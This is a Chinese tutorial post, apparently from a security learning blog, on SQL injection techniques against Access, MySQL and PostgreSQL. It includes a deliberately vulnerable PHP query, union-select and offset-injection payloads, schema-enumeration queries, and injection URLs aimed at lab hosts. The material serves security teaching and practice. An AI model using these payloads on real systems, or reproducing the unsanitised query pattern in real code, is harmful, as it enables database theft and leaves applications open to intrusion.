SQL注入常见的攻击方法(一)

sql注入

一.基本概述及分析

定义:SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

利用条件分析:

  • 可控参数
  • 参数与数据库之间具有传入
  • 回显

header("Content-Type: text/html; charset=utf-8");

$id=$_GET['id'];
$idx=$_GET['x'];
$idpage=$_GET['page'];//接受参数名为id赋值给变量id
if(!is_integer($id)){  //拦截代码
	$conn=mysql_connect('localhost','root','root');//连接数据库
	mysql_select_db('javaweb-bbs',$conn);//选择数据库名为javaweb-bss的数据库
	$sql="select * from sys_article where id = $id";//组合定义SQL语句
	echo $sql.'
'
;//输出变量sql $result=mysql_query($sql);//执行变量sql里的SQL语句,mysql_query通常是php中执行sql语句的函数 if($row=mysql_fetch_array($result)){ //对执行的结果进行显示 echo $row['title'].'
'
; echo $row['content'].'
'
; } else{ echo "fuck"; //php中小数点表示连接符 } }

以上代码可知,id参数可为任意值,因此可构造payload产生注入

union select: A union select B;表示A和B都会执行,即联合执行

**判断注入点:**1.源码审计 2.尝试

逻辑运算符:or(或) and(并且) xor(非)

输入字符对页面产生影响,极可能存在注入

判断数据库:1.注入语句 2.搭建(php通常和mysql配合) 3.端扫

二.常见数据库的注入

Access:用得很少,asp网站用

Mysql , Postgresql

Mssql

Oracle

Mangodb

tips:数据库注入点权限问题。数据库不同权限不同注入的方式也存在不同。

注入点权限不同,注入的方式方法不大相同

0.FUZZ字典

fuzz字典是指一种,模糊测试且含有大量payload的一个资格字典文件,主要用于手工payload猜解。其中sqlmap便是自带fuzz字典。

1.Access

​ 数据库的格式与excel格式类似,主要集中在asp网站中,后缀为.mdb

​ 结构:

​ access:

​ 表名

​ 列名

​ 数据

​ 猜解表名或列名 == 暴力破解,注入时可能出现获取不到情况,需要借助大量字典获取。

payload:

1.order by 判断列数

2.union select 判断是否存在,若存在则会返回随机数,不存在则报错或返回空。

SQL注入常见的攻击方法(一)_第1张图片

http://192.168.253.140:8001/Production/PRODUCT_DETAIL.asp?id=1428%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin (admin指的是表名)

SQL注入常见的攻击方法(一)_第2张图片

这里返回的两个数字随机位置,并无任何意义!后面的再依次根据暴力破解的进行猜解即可。通常采用 bp字典进行爆破联动,需要大量的字典。

Access偏移注入:指的是知道表名但爆破不出列名的情况下使用。

偏移注入:解决表名获取到而列名获取不到情况,依次推测出偏移量不断移动*(从后往前移),偏移量即字段数
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)  //固定语句
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

SQL注入常见的攻击方法(一)_第3张图片

二.Mysql数据库注入

基本结构

网站 <==> 数据库

​ 表

​ 字段

​ 数据

常见查询:

  • select version() 版本

    Mysql 5.0以下版本通常采用暴力破解,5.0及以上采用根据猜解,5.0以上含有根数据库information_schema, 5以下的版本不自带。

  • select database() :数据库

  • select user() :数据库用户,进而猜解权限

  • select @@version_compile_os :查询操作系统

information_schema.tables表下的列table_name 存储表名信息的表
information_schema.columns表下的列column_name 存储列名信息的表
information_schema.schemata表下的列shcema_name 存储数据库名信息的表
table_schema 数据库名
table_name 表名
column_name 列名
group_concat(列名):根据列名来获取所有具体数据

5.0以下的思路:1.暴力破解,2.配合文件读取读取源码

三.PostgreSQL联合注入

中小型数据库,通常和php联合,国外常用

*环境:*墨者靶场

技术参考:Sql注入之postgresql - she11s - 博客园 (cnblogs.com)

0.判断

and 1=1; and1=2

  1. order by 语句 判断列名(正常回显则可证明列名正常)

  2. 注入语句构造

    其下的pg_stat_user_tables与Mysql下的information_schema.tables类似都是存储表的

    注意语句的payload位置,位置错误,可能造成不回显

    多个数据查询时,使用偏移语句进行查询(offset表示设置的下标位置)

    //%20表示空格的意思
    1.
    http://219.153.49.228:44927/new_list.php?id=-1%2union%20select%20null,version(),null,null   //版本探测,注意使用联合查询前半段需要为错
    
    2.
    union%20select%20null,relname,null,null%20from%20pg_stat_user_tables%20limit 1 offset 0 //表示一个个数据的读取,读取当前数据库下的表名
    
    3.
     union select null,column_name,null from information_schema.columns where table_name='表名'
     
     4.获取数据
    

    SQL注入常见的攻击方法(一)_第4张图片

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BnPeGhnz-1634915993487)(H:\笔记方面\信安\迪哥\03.Web层面安全\1.SQL注入\images\postesql\2.效果.png)]

    SQL注入常见的攻击方法(一)_第5张图片


后期思路:猜解表单账号密码即为数据库列名,或是cms信息或是url上的信息

SQL注入常见的攻击方法(一)_第6张图片

你可能感兴趣的:(信安,sql,数据库,php)